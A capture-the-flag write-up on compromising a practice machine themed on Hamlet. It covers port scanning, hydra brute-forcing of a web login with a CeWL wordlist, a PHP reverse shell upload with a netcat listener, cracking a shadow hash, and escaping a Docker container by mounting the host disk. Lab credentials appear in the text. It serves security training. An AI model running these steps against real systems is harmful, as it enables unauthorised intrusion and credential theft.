Recon to foothold

Let’s begin with a scan, first masscan

rob:~/ $ sudo masscan -p1-65535,U:1-65535 10.10.34.135 --rate=1000 -e tun0
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-01-15 21:04:27 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 8080/tcp on 10.10.34.135                                  
Discovered open port 501/tcp on 10.10.34.135                                   
Discovered open port 8000/tcp on 10.10.34.135                                  
Discovered open port 21/tcp on 10.10.34.135                                    
Discovered open port 80/tcp on 10.10.34.135                                    
Discovered open port 22/tcp on 10.10.34.135 

And now nmap

Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-15 21:09 GMT
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 21:09
Completed NSE at 21:09, 0.00s elapsed
Initiating NSE at 21:09
Completed NSE at 21:09, 0.00s elapsed
Initiating NSE at 21:09
Completed NSE at 21:09, 0.00s elapsed
Initiating Ping Scan at 21:09
Scanning 10.10.34.135 [2 ports]
Completed Ping Scan at 21:09, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:09
Completed Parallel DNS resolution of 1 host. at 21:09, 0.02s elapsed
Initiating Connect Scan at 21:09
Scanning 10.10.34.135 [6 ports]
Discovered open port 21/tcp on 10.10.34.135
Discovered open port 22/tcp on 10.10.34.135
Discovered open port 8080/tcp on 10.10.34.135
Discovered open port 80/tcp on 10.10.34.135
Discovered open port 501/tcp on 10.10.34.135
Discovered open port 8000/tcp on 10.10.34.135
Completed Connect Scan at 21:09, 0.01s elapsed (6 total ports)
Initiating Service scan at 21:09
Scanning 6 services on 10.10.34.135
Completed Service scan at 21:10, 12.68s elapsed (6 services on 1 host)
NSE: Script scanning 10.10.34.135.
Initiating NSE at 21:10
NSE: [ftp-bounce] PORT response: 500 Illegal PORT command.
Completed NSE at 21:10, 11.01s elapsed
Initiating NSE at 21:10
Completed NSE at 21:10, 0.11s elapsed
Initiating NSE at 21:10
Completed NSE at 21:10, 0.00s elapsed
Nmap scan report for 10.10.34.135
Host is up (0.016s latency).

PORT     STATE SERVICE    VERSION
21/tcp   open  ftp        vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.14.6.26
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rwxr-xr-x    1 0        0             113 Sep 15 14:45 password-policy.md
|_-rw-r--r--    1 0        0            1425 Sep 15 14:48 ufw.status
22/tcp   open  ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a0:ef:4c:32:28:a6:4c:7f:60:d6:a6:63:32:ac:ab:27 (RSA)
|   256 5a:6d:1a:39:97:00:be:c7:10:6e:36:5c:7f:ca:dc:b2 (ECDSA)
|_  256 0b:77:40:b2:cc:30:8d:8e:45:51:fa:12:7c:e2:95:c7 (ED25519)
80/tcp   open  http       lighttpd 1.4.45
|_http-server-header: lighttpd/1.4.45
|_http-title: Hamlet Annotation Project
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD POST
501/tcp  open  tcpwrapped
8000/tcp open  http       Apache httpd 2.4.48 ((Debian))
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.48 (Debian)
8080/tcp open  http-proxy
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 500 
|     Content-Type: application/json;charset=UTF-8
|     Date: Sat, 15 Jan 2022 21:10:06 GMT
|     Connection: close
|     {"timestamp":1642281007288,"status":500,"error":"Internal Server Error","exception":"org.springframework.security.web.firewall.RequestRejectedException","message":"The request was rejected because the URL contained a potentially malicious String "%2e"","path":"/nice%20ports%2C/Tri%6Eity.txt%2ebak"}
|   GetRequest: 
|     HTTP/1.1 302 
|     Set-Cookie: JSESSIONID=7E0749B7DCDCB4726534F2CA65F45BDC; Path=/; HttpOnly
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 1; mode=block
|     Cache-Control: no-cache, no-store, max-age=0, must-revalidate
|     Pragma: no-cache
|     Expires: 0
|     X-Frame-Options: SAMEORIGIN
|     Location: http://localhost:8080/login.html
|     Content-Length: 0
|     Date: Sat, 15 Jan 2022 21:10:06 GMT
|     Connection: close
|   HTTPOptions: 
|     HTTP/1.1 302 
|     Set-Cookie: JSESSIONID=7CEDB0C742FB7403F944200239FA6749; Path=/; HttpOnly
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 1; mode=block
|     Cache-Control: no-cache, no-store, max-age=0, must-revalidate
|     Pragma: no-cache
|     Expires: 0
|     X-Frame-Options: SAMEORIGIN
|     Location: http://localhost:8080/login.html
|     Content-Length: 0
|     Date: Sat, 15 Jan 2022 21:10:06 GMT
|     Connection: close
|   RTSPRequest: 
|     HTTP/1.1 400 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 435
|     Date: Sat, 15 Jan 2022 21:10:06 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title>HTTP Status 400 
|     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 
|_    Request</h1></body></html>
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-open-proxy: Proxy might be redirecting requests
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-title: WebAnno - Log in 
|_Requested resource was http://10.10.34.135:8080/login.html
|_http-favicon: Spring Java Framework
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.92%I=7%D=1/15%Time=61E3382C%P=x86_64-pc-linux-gnu%r(Ge
--snip--
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 21:10
Completed NSE at 21:10, 0.00s elapsed
Initiating NSE at 21:10
Completed NSE at 21:10, 0.00s elapsed
Initiating NSE at 21:10
Completed NSE at 21:10, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.30 seconds

We have an FTP service on port 21, let’s have a look at that first

rob:~/ $ ftp 10.10.114.205
Connected to 10.10.114.205.
220 (vsFTPd 3.0.3)
Name (10.10.114.205:rob): ftp
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
425 Failed to establish connection.
ftp> passive
Passive mode on.
ftp> ls -la
227 Entering Passive Mode (10,10,114,205,196,112).
150 Here comes the directory listing.
drwxr-xr-x    2 0        114          4096 Sep 15 14:48 .
drwxr-xr-x    2 0        114          4096 Sep 15 14:48 ..
-rwxr-xr-x    1 0        0             113 Sep 15 14:45 password-policy.md
-rw-r--r--    1 0        0            1425 Sep 15 14:48 ufw.status
226 Directory send OK.
ftp> mget *
mget password-policy.md? y
227 Entering Passive Mode (10,10,114,205,197,99).
150 Opening BINARY mode data connection for password-policy.md (113 bytes).
226 Transfer complete.
113 bytes received in 0.00 secs (112.9494 kB/s)
mget ufw.status? y
227 Entering Passive Mode (10,10,114,205,198,48).
150 Opening BINARY mode data connection for ufw.status (1425 bytes).
226 Transfer complete.
1425 bytes received in 0.00 secs (1.4025 MB/s)
ftp> exit
221 Goodbye.

Excellent, let’s see what we found, first password-policy.md

rob:~/ $ cat password-policy.md 
# Password Policy

## WebAnno

New passwords should be:

- lowercase
- between 12 and 14 characters long

Ok, that’s interesting. This could help if we have to make a password list or something similar. Now the ufw.status file

rob:~/ $ cat ufw.status 
Status: active

To                         Action      From
--                         ------      ----
20/tcp                     ALLOW       Anywhere                  
21/tcp                     ALLOW       Anywhere                  
22/tcp                     ALLOW       Anywhere                  
80/tcp                     ALLOW       Anywhere                  
501/tcp                    ALLOW       Anywhere                  
8080/tcp                   ALLOW       Anywhere                  
8000/tcp                   ALLOW       Anywhere                  
1603/tcp                   ALLOW       Anywhere                  
1564/tcp                   ALLOW       Anywhere                  
50000:50999/tcp            ALLOW       Anywhere                  
20/tcp (v6)                ALLOW       Anywhere (v6)             
21/tcp (v6)                ALLOW       Anywhere (v6)             
22/tcp (v6)                ALLOW       Anywhere (v6)             
80/tcp (v6)                ALLOW       Anywhere (v6)             
501/tcp (v6)               ALLOW       Anywhere (v6)             
8080/tcp (v6)              ALLOW       Anywhere (v6)             
8000/tcp (v6)              ALLOW       Anywhere (v6)             
1603/tcp (v6)              ALLOW       Anywhere (v6)             
1564/tcp (v6)              ALLOW       Anywhere (v6)             
50000:50999/tcp (v6)       ALLOW       Anywhere (v6) 

So the firewall is active, assuming this is current, there could be more vunerable services accessible once we get into the box. Additionally, if we assume a default deny, this gives us a clue on ports that might be blocked/open for reverse shells etc.

Moving on to the web page on port 80 we find a short intro

We have a link to a copy of the play Hamlet and a good clue when taken alongside the password-policy details we found earlier, this guy ghost@webanno.hamlet.thm is obsessed with Hamlet - that would make it a good place for him to be taking a password from perhaps then!

Let’s try to use cewl to make a password list from the text

rob:Hamlet/ $ cewl -m 12 -w wordlist.txt --lowercase http://10.10.230.217/hamlet.txt
CeWL 5.5.2 (Grouping) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
rob:Hamlet/ $ wc -l wordlist.txt 
75 wordlist.txt

Ok, 75 words, not bad! Let’s use hydra now to see if any of these passwords work, but where to use it??

rob:Hamlet/ $ hydra -l ghost -P wordlist.txt 10.10.230.217 ssh
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-16 15:26:55
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 75 login tries (l:1/p:75), ~5 tries per task
[DATA] attacking ssh://10.10.230.217:22/
[ERROR] target ssh://10.10.230.217:22/ does not support password authentication (method reply 4).

Not SSH then, this will accept a key only it seems, let’s have a look around for another way in

It’s not through FTP

[DATA] attacking ftp://10.10.230.217:21/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-01-16 15:28:12

While using gobuster we find that we missed a robots.txt file by getting all excited about the possible password list

So we find a flag, THM{REDACTED}, but still no way in

gobuster finds us an interesting forbidden directory ~, although as the search continues we see that this might be any directory with a ~ in it…

rob:Hamlet/ $ gobuster dir --url http://10.10.230.217 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x txt,html,php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.230.217
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,html,php
[+] Timeout:                 10s
===============================================================
2022/01/16 15:29:58 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 1011]
/~                    (Status: 403) [Size: 345] 
/robots.txt           (Status: 200) [Size: 64]  
/~sys~                (Status: 403) [Size: 345] 
/live~                (Status: 403) [Size: 345] 
/index.html           (Status: 200) [Size: 1011]
/~stats~              (Status: 403) [Size: 345] 
                                                
===============================================================
2022/01/16 15:34:43 Finished
===============================================================

On port 8000 we find a display of our Hamlet text

Using gobuster here we find two subdirectories, both 403 forbidden though (once we follow the redirect)

rob:Hamlet/ $ gobuster dir --url http://10.10.230.217:8000 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x txt,html,php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.230.217:8000
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,html,php
[+] Timeout:                 10s
===============================================================
2022/01/16 15:38:49 Starting gobuster in directory enumeration mode
===============================================================
/db                   (Status: 301) [Size: 318] [--> http://10.10.230.217:8000/db/]
/index.html           (Status: 200) [Size: 106]                                    
/repository           (Status: 301) [Size: 326] [--> http://10.10.230.217:8000/repository/]
/server-status        (Status: 403) [Size: 280]                                            
/index.html           (Status: 200) [Size: 106]                                            
                                                                                           
===============================================================
2022/01/16 15:43:44 Finished
===============================================================

On port 501 we find a back and forth between ‘GRAVEDIGGER’ and ‘PENTESTER’

rob:Hamlet/ $ nc 10.10.230.217 501

GRAVEDIGGER
What do you call a person who builds stronger things than a stonemason, a shipbuilder, or a carpenter does?
PENTESTER
im why he puts on this Confusion:
Grating so harshly all his day
PENTESTER

ts,
Abuses me to damne me. Ile haue grounds
More Relatiue then this: The Play's the thing,
Wherei

Looking up that question in the text finds us this section

   Clo. What is he that builds stronger then either the
Mason, the Shipwright, or the Carpenter?
  Other. The Gallowes maker; for that Frame outliues a
thousand Tenants

So we can attempt a response

rob:Hamlet/ $ nc 10.10.230.217 501
GRAVEDIGGER
What do you call a person who builds stronger things than a stonemason, a shipbuilder, or a carpenter does?
PENTESTER
The Gallowes maker; for that Frame outliues a
thousand Tenantsee wel
PENTESTER
The Gallowes maker
y thy habit as thy purse can buy;
But not exprest in fancie; rich, not gawdie:
For the Apparel
PENTESTER

But no, either this is not the correct response, or this is not actually an interactive service after all

On port 8080 though we may have found what we need

Let’s try our hydra here again

rob:Hamlet/ $ hydra -l ghost -P wordlist.txt 10.10.133.193 -s 8080 http-post-form "/login.html?-1.-loginForm:urlfragment=&username=ghost&password=^PASS^:Login failed" -t 1 -f -I
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-16 16:31:10
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 75 login tries (l:1/p:75), ~75 tries per task
[DATA] attacking http-post-form://10.10.133.193:8080/login.html?-1.-loginForm:urlfragment=&username=ghost&password=^PASS^:Login failed
[8080][http-post-form] host: 10.10.133.193   login: ghost   password: vnsanctified
[STATUS] attack finished for 10.10.133.193 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-01-16 16:31:51

Ok, we got it! The credentials we need are ghost:vnsanctified. Now we can login

If we open up ‘Projects’ we find an option to upload documents, could we use this to load up a reverse shell script?

It seems so! Now we could access the hamlet.txt file at the webserver root, let’s see if we can do the same now for our shell

rob:Hamlet/ $ nc -lnvp 50001
listening on [any] 50001 ...


And we can’t, in fact we get a 404 not found so it seems that the default upload location is not to the webroot

While looking at annotations added by the user ophelia we find an interesting note

Apparently the KEQehFDWwuQbMbKW password does not work for Webanno, does that mean it works for something else?

rob:Hamlet/ $ ftp 10.10.133.193                                                                     
Connected to 10.10.133.193.
220 (vsFTPd 3.0.3)
Name (10.10.133.193:rob): ophelia
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.
ftp> ls -la
227 Entering Passive Mode (10,10,133,193,196,125).
150 Here comes the directory listing.
drwxr-xr-x    2 1001     1001         4096 Sep 15 14:41 .
drwxr-xr-x    5 0        0            4096 Sep 15 14:41 ..
-rw-r--r--    1 1001     1001           31 Sep 16 06:19 flag
226 Directory send OK.
ftp> get flag
local: flag remote: flag
227 Entering Passive Mode (10,10,133,193,197,26).
150 Opening BINARY mode data connection for flag (31 bytes).
226 Transfer complete.
31 bytes received in 0.00 secs (20.9505 kB/s)

Yes it does! We find a flag, THM{REDACTED} when logging into FTP as ophelia

A quick check out of curiousity reveals that we are not chrooted into this directory, we can move around the filesystem - this feels potentially very unintended

ftp> cd ..
250 Directory successfully changed.
ftp> ls -la
227 Entering Passive Mode (10,10,133,193,197,117).
150 Here comes the directory listing.
drwxr-xr-x    5 0        0            4096 Sep 15 14:41 .
drwxr-xr-x   24 0        0            4096 Sep 15 11:16 ..
drwxr-xr-x    2 1002     1002         4096 Sep 15 14:44 gravediggers
drwxr-xr-x    2 1001     1001         4096 Sep 15 14:41 ophelia
drwxr-xr-x    6 1000     1000         4096 Sep 16 06:27 ubuntu
226 Directory send OK.

This allows us to get into the gravedigger home directory and grab the code behind the service running on port 501, gravediggers.py

#!/usr/bin/env python3

import socket
import random
import time

with open('hamlet.txt', 'r') as hf:
    hamlet = hf.read()

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind(('0.0.0.0', 501))
    s.listen()
    conn, addr = s.accept()
    with conn:
        print(f'Connection: {addr}')
        time.sleep(1)
        conn.sendall(b'GRAVEDIGGER\r\n')
        conn.sendall(b'What do you call a person who builds stronger things than a stonemason, a shipbuilder, or a carpenter does?\r\n')
        while True:
            conn.sendall(b'PENTESTER\r\n')
            data = conn.recv(1024)
            if b'gallows' in data:
                conn.sendall(b`THM{REDACTED}`\r\n")
                break
            else:
                start = random.randint(0, len(hamlet) - 100)
                end = start + random.randint(1, 100)
                conn.sendall(hamlet[start:end].strip().encode('utf-8'))
                conn.sendall(b'\r\n')
            if not data:
                break

So it seems we were close, we used the term gallowes direct from the text, but gallows would have given us a flag

rob:Hamlet/ $ nc 10.10.133.193 501
GRAVEDIGGER
What do you call a person who builds stronger things than a stonemason, a shipbuilder, or a carpenter does?
PENTESTER
gallows
THM{REDACTED}

Under /opt we find some interesting directories, and in one, a flag!

ftp> cd /opt
250 Directory successfully changed.
ftp> ls -la
227 Entering Passive Mode (10,10,133,193,196,3).
150 Here comes the directory listing.
drwxr-xr-x    5 0        0            4096 Sep 15 14:46 .
drwxr-xr-x   24 0        0            4096 Sep 15 11:16 ..
drwx--x--x    4 0        0            4096 Sep 15 11:39 containerd
drwxr-xr-x    2 0        0            4096 Sep 15 14:46 stage
drwxr-xr-x    2 0        0            4096 Sep 15 14:46 web
226 Directory send OK.
ftp> cd stage
250 Directory successfully changed.
ftp> ls -la
227 Entering Passive Mode (10,10,133,193,195,172).
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Sep 15 14:46 .
drwxr-xr-x    5 0        0            4096 Sep 15 14:46 ..
-rw-r--r--    1 0        0              29 Sep 16 06:19 flag
226 Directory send OK.
ftp> get flag
local: flag remote: flag
227 Entering Passive Mode (10,10,133,193,198,199).
150 Opening BINARY mode data connection for flag (29 bytes).
226 Transfer complete.
29 bytes received in 0.00 secs (57.7966 kB/s)
ftp> !cat flag
THM{REDACTED}

Meanwhile in the web folder we find a single line index.html

ftp> cd web
250 Directory successfully changed.
ftp> ls -la
227 Entering Passive Mode (10,10,133,193,195,171).
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Sep 15 14:46 .
drwxr-xr-x    5 0        0            4096 Sep 15 14:46 ..
-rwxr-xr-x    1 0        0             106 Sep 15 14:46 index.html
226 Directory send OK.
ftp> get index.html
local: index.html remote: index.html
227 Entering Passive Mode (10,10,133,193,199,6).
150 Opening BINARY mode data connection for index.html (106 bytes).
226 Transfer complete.
106 bytes received in 0.00 secs (405.9436 kB/s)
ftp> !cat index.html
<iframe style="width:100%; height:100%" src="/repository/project/0/document/0/source/hamlet.txt"></iframe>

This must be the absolute path to the hamlet.txt document, perhaps from this we could also find the reverse shell script we uploaded

rob:Hamlet/ $ wfuzz -z range,0-100 --hc 404 http://10.10.133.193:8000/repository/project/0/document/FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.133.193:8000/repository/project/0/document/FUZZ
Total requests: 101

=====================================================================
ID           Response   Lines    Word       Chars       Payload                             
=====================================================================

000000001:   301        9 L      28 W       347 Ch      "0"                                 
000000007:   301        9 L      28 W       347 Ch      "6"                                 
000000008:   301        9 L      28 W       347 Ch      "7"                                 

Total time: 0
Processed Requests: 101
Filtered Requests: 98
Requests/sec.: 0

Using wfuzz as it can very easily do numbered ranges we find three document folders. And under 7/source/ we find the wordlist we uploaded while testing

Unfortunately we can also see the shell.js file under 6/source/, unfortunate because it’s not being executed, just displayed

Let’s try a php shell, this app is running on javascript, but the web server might still be configured to process php. We upload the always reliable pentestmonkey shell and try to view it

The loading hangs, always a good sign, and over at our listener we have a shell

rob:Hamlet/ $ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.14.6.26] from (UNKNOWN) [10.10.133.193] 48966
Linux 66505608bd11 4.15.0-156-generic #163-Ubuntu SMP Thu Aug 19 23:31:58 UTC 2021 x86_64 GNU/Linux
 20:24:10 up  3:56,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

User www-data

Ideally now we would stablize our shell then do some initial manual enumeration, however we quickly find out we are in a container, so we should look at escaping that first

$ ls -lA 
total 80
-rwxr-xr-x   1 root root    0 Sep 15 14:47 .dockerenv
drwxr-xr-x   1 root root 4096 Sep  3 16:00 bin
drwxr-xr-x   2 root root 4096 Apr 10  2021 boot
drwxr-xr-x  13 root root 3580 Jan 16 16:28 dev
drwxr-xr-x   1 root root 4096 Sep 15 14:47 etc
drwxr-xr-x   2 root root 4096 Apr 10  2021 home
drwxr-xr-x   1 root root 4096 Sep  3 15:54 lib
drwxr-xr-x   2 root root 4096 Sep  2 00:00 lib64
drwxr-xr-x   2 root root 4096 Sep  2 00:00 media
drwxr-xr-x   2 root root 4096 Sep  2 00:00 mnt
drwxr-xr-x   2 root root 4096 Sep  2 00:00 opt
dr-xr-xr-x 120 root root    0 Jan 16 16:28 proc
drwx------   1 root root 4096 Sep 15 14:47 root
drwxr-xr-x   1 root root 4096 Sep  3 16:00 run
drwxr-xr-x   1 root root 4096 Sep  3 16:00 sbin
drwxr-xr-x   2 root root 4096 Sep  2 00:00 srv
drwxr-xr-x   2 root root 4096 Sep 15 14:46 stage
dr-xr-xr-x  13 root root    0 Jan 16 20:28 sys
drwxrwxrwt   1 root root 4096 Sep  3 16:58 tmp
drwxr-xr-x   1 root root 4096 Sep  2 00:00 usr
drwxr-xr-x   1 root root 4096 Sep  3 15:54 var

There is an interesting directory /stage, we saw something named very similarly when enumerating FTP

$ cat /stage/flag
THM{REDACTED}

Ok, so perhaps this is a directory mounted in the container as a volume

We can pull deepce to the box to check out the container

$ ./deepce.sh

                      ##         .
                ## ## ##        ==
             ## ## ## ##       ===
         /"""""""""""""""""\___/ ===
    ~~~ {~~ ~~~~ ~~~ ~~~~ ~~~ ~ /  ===- ~~~
         \______ X           __/
           \    \         __/
            \____\_______/
          __
     ____/ /__  ___  ____  ________
    / __  / _ \/ _ \/ __ \/ ___/ _ \   ENUMERATE
   / /_/ /  __/  __/ /_/ / (__/  __/  ESCALATE
   \__,_/\___/\___/ .___/\___/\___/  ESCAPE
                 /_/

 Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)
 by stealthcopter

==========================================( Colors )==========================================
[+] Exploit Test ............ Exploitable - Check this out
[+] Basic Test .............. Positive Result
[+] Another Test ............ Error running check
[+] Negative Test ........... No
[+] Multi line test ......... Yes
Command output
spanning multiple lines

Tips will look like this and often contains links with additional info. You can usually 
ctrl+click links in modern terminal to open in a browser window
See https://stealthcopter.github.io/deepce

===================================( Enumerating Platform )===================================
[+] Inside Container ........ Yes
[+] Container Platform ...... docker
[+] Container tools ......... None
[+] User .................... www-data
[+] Groups .................. www-data
[+] Docker Executable ....... Not Found
[+] Docker Sock ............. Not Found
[+] Docker Exploits ......... Version Unknown
==================================( Enumerating Container )===================================
[+] Container ID ............ 66505608bd11
[+] Container Full ID ....... 66505608bd11271b2e36d77b954371b99cfc712ba9fce1da0c6686df698188bb
[+] Container Name .......... Could not get container name through reverse DNS
[+] Container IP ............ 172.17.0.2 
[+] DNS Server(s) ........... 10.0.0.2 
[+] Host IP ................. 172.17.0.1
[+] Operating System ........ GNU/Linux
[+] Kernel .................. 4.15.0-156-generic
[+] Arch .................... x86_64
[+] CPU ..................... Intel(R) Xeon(R) CPU E5-2686 v4 @ 2.30GHz
[+] Useful tools installed .. Yes
/usr/bin/curl
/usr/bin/gcc
/bin/hostname
[+] SSHD Service ............ No
[+] Privileged Mode ......... Unknown
====================================( Enumerating Mounts )====================================
[+] Docker sock mounted ....... No
[+] Other mounts .............. Yes
/opt/stage /stage rw,relatime - ext4 /dev/mapper/ubuntu--vg-ubuntu--lv rw,data=ordered
/srv/webanno /var/www/html rw,relatime - ext4 /dev/mapper/ubuntu--vg-ubuntu--lv rw,data=ordered
[+] Possible host usernames ...  
====================================( Interesting Files )=====================================
[+] Interesting environment variables ... No
[+] Any common entrypoint files ......... No
[+] Interesting files in root ........... No
[+] Passwords in common files ........... No
[+] Home directories .................... No
./deepce.sh: 787: cannot open /etc/shadow: Permission denied
[+] Hashes in shadow file ............... No
[+] Searching for app dirs .............. 
==================================( Enumerating Containers )==================================
By default containers can communicate with other containers on the same network and the 
host machine, this can be used to enumerate further

Could not ping sweep, requires nmap or ping to be executable
==============================================================================================

And indeed, /stage is a mounted volume, as is /var/www/html

Doing a little enumeration we check for SUID/SGID files and find that cat is SUID

$ ls -lA /bin/cat
-rwsr-xr-x 1 root root 43936 Sep 24  2020 /bin/cat

With this we can read /etc/shadow

$ cat /etc/shadow | head -n 1
root:$y$j9T$.9s2wZRY3hcP/udKIFher1$sIBIYsiMmFlXhKOO4ZDJDXo54byuq7a4xAD0k9jw2m4:18885:0:99999:7:::

Unfortunately, this doesn’t seem to be a real hash, we can’t find any hash that starts with $y$. Perhaps there’s a working hash in a backup somewhere… or… actually it does exist, it’s called ‘yescrypt’ and seems to be rapidly becoming a default hashing method (Debian 11, Ubuntu 22.04…)

rob:Hamlet/ $ john container_root.hash -w=/usr/share/wordlists/rockyou.txt --format=crypt
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
murder           (?)     
1g 0:00:00:11 DONE (2022-01-17 11:04) 0.09066g/s 443.8p/s 443.8c/s 443.8C/s 2222222..asasas
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

hashcat doesn’t yet support this hashing algorithm and john uses --format=crypt to pass it through the tool to the operating system’s underlying libxcrypt package. After all that, we got a password, murder

Now we can become root on this container and grab the next flag

$ su - 
Password: murder
id
uid=0(root) gid=0(root) groups=0(root)
ls -lA
total 12
-rw-r--r-- 1 root root 571 Apr 10  2021 .bashrc
-rw-r--r-- 1 root root  24 Sep 16 06:20 .flag
-rw-r--r-- 1 root root 161 Jul  9  2019 .profile
cat .flag
THM{REDACTED}

So, one thing we noticed earlier while enumerating was that we seemed to have visiblity of the full set of system devices despite being in a container. As root now we should be able to mount the host filesystem and read out our last flag

mkdir -p /mnt/fs
mount /dev/dm-0 /mnt/fs
ls -lA /mnt/fs
total 4015216
drwxr-xr-x  2 root root       4096 Sep 15 11:24 bin
drwxr-xr-x  2 root root       4096 Sep 15 11:14 boot
drwxr-xr-x  2 root root       4096 Sep 15 11:15 cdrom
drwxr-xr-x  4 root root       4096 Aug  6  2020 dev
drwxr-xr-x 99 root root       4096 Sep 16 06:43 etc
drwxr-xr-x  5 root root       4096 Sep 15 14:41 home
lrwxrwxrwx  1 root root         34 Sep 15 11:16 initrd.img -> boot/initrd.img-4.15.0-156-generic
lrwxrwxrwx  1 root root         34 Sep 15 11:16 initrd.img.old -> boot/initrd.img-4.15.0-156-generic
drwxr-xr-x 23 root root       4096 Sep 15 11:39 lib
drwxr-xr-x  2 root root       4096 Aug  6  2020 lib64
drwx------  2 root root      16384 Sep 15 11:14 lost+found
drwxr-xr-x  2 root root       4096 Aug  6  2020 media
drwxr-xr-x  3 root root       4096 Sep 15 14:43 mnt
drwxr-xr-x  5 root root       4096 Sep 15 14:46 opt
drwxr-xr-x  2 root root       4096 Apr 24  2018 proc
drwx------  5 root root       4096 Sep 15 14:49 root
drwxr-xr-x 13 root root       4096 Aug  6  2020 run
drwxr-xr-x  2 root root      12288 Sep 15 11:39 sbin
drwxr-xr-x  2 root root       4096 Sep 15 11:31 snap
drwxr-xr-x  4 root root       4096 Sep 15 14:45 srv
-rw-------  1 root root 4111466496 Sep 15 11:16 swap.img
drwxr-xr-x  2 root root       4096 Apr 24  2018 sys
